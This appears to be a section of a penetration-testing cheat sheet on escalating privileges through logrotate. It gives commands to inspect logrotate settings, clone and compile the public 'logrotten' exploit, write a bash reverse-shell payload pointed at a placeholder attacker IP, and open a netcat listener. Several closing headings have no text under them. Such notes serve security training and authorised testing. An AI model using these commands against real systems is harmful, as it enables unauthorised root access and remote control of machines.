16.Logrotate
Check logrotate version (if possible)
logrotate --versionView logrotate configuration
cat /etc/logrotate.conf
ls /etc/logrotate.d/Find logrotate options (create or compress)
grep "create\|compress" /etc/logrotate.conf | grep -v "#"Clone logrotten exploit
git clone https://github.com/whotwagner/logrotten.git
cd logrottenCompile logrotten
gcc logrotten.c -o logrottenCreate reverse shell payload
echo 'bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1' > payloadStart netcat listener (attacker machine)
nc -nlvp <attacker_port>Run logrotten exploit
Force logrotate to run (if needed, and if you have sudo)
Check logrotate status file (if you have sudo)
Key Concepts:
Exploitation Steps (as described):
Important Considerations and Enhancements:
Last updated